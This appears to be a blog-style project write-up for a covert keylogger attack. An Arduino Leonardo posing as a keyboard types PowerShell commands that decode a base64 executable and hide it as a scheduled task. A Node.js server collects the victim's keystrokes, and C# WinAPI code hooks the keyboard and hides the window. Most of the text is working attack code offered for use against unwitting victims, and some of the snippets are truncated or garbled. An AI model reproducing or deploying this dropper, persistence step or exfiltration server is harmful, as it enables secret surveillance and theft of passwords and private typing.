Source Code on Github


The goal of this project is to inject a keylogger binary through arduino leonardo and schedule it to start.

Environment and Tools

  • Windows (Tested on xp, 7, 10)
  • Arduino Leonardo
  • SD Card and SD Card Reader


The design consists of

  • Keylogger
  • powershell script
  • Arduino code
  • Server

When connecting the arduino to the victim PC, the Arduino code will stream the SD Card content in a shape of keyboard press events. the pressed keys will execute the next procedure

  1. Open Powershell
  2. create a script file
  3. insert content to the script file
  4. run the script file

The script file will decode a base64 string into executable and schedule it with the windows scheduler.


The injected keyloger send the recorded logs to a remote server located behind a host listening for data.

The Arduino

The arduino opens a powershell and execute the next commands:

$pex1="TVqQAAMA..............AABXAAAAAEAAAF" .............
New-Item -ItemType Directory -Force -Path C:\tmp\spdlphn;
$FilePathoutput = "C:\tmp\spdlphn\win_spd_powershell.exe";
$ByteArray =[System.Convert]::FromBase64String($PowerShellExecutable);
[io.file]::WriteAllBytes($FilePathoutput, $ByteArray);
$action = New-ScheduledTaskAction -Execute $FilePathoutput;
$trigger = New-ScheduledTaskTrigger -Daily -At 9am;
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "win_spdlphn_ps" -Description "for supporting rare meat stake"

In the code above the pex variables contain the base64. I used several bufferssince the  shell variable length is limited.

The Base64 is decoded in the next command:

$ByteArray =[System.Convert]::FromBase64String($PowerShellExecutable);[io.file]::WriteAllBytes($FilePathoutput, $ByteArray);

The Keylogger

The keylogger is built from server side and client(victim) side.

Attacker side

The serverside is written using nodejs. all it does is listenning for commands and applying them:

var sys = require("sys"),
    my_http = require("http"),
    url = require("url"),
    fs = require('fs'),
    qs = require('querystring');
var express = require('express');
var bodyParser = require('body-parser');
var app = express();
/// Include the express body parser
// parse application/x-www-form-urlencoded
app.use(bodyParser.urlencoded({extended: true}))
UPDATES_FILE = "updates.txt"
SESSIONS_FILE = "sessions.txt"
function logToFile(filename, data) {
    fs.appendFile(filename, data, function (err) {
        if (err) {

            return console.log(err);

        console.log("data saved on " + filename);
}'/dolphin_start', function (req, res) {
    logToFile(SESSIONS_FILE, JSON.stringify(req.body));
    res.send({status: 'SUCCESS'});
});'/dolphin_new_data', function (req, res) {
    logToFile(UPDATES_FILE, JSON.stringify(req.body));
    res.send({status: 'SUCCESS'});
app.get('/', function (req, res) {
    logToFile(UPDATES_FILE, JSON.stringify(req.body));
<h1>exhesham server - keep out</h1>

This server was built for the dolphins - <b>if you are not a dolphin, then keep out please</b>');
sys.puts("Server Running on 12457");

Victim Side

The victim side is the complex side. we need here to hide the keylogger so the victim cannot notice it. Therefore, we need to avoid crashes and kill them softly. in case the malware crashes, it can reload. For that matter, it should be scheduled everyday to start.

The keylogger is implemented using C#. .Net framework doesn’t have the tools to intervene with other apps running on windows. for that metter, we need to use lower level libraries for windows – WinAPI.

Thw WINAPUI I used is stored in the libs user32.dll and kernel32.dll. including these APIs is done by the next code:

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook,
LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
IntPtr wParam, IntPtr lParam);

[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);

// The two dll imports below will handle the window hiding.

static extern IntPtr GetConsoleWindow();

static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

Using MSDN you will get lots of help understanding them and i won’t do that job here.

The code can be found on GITHUB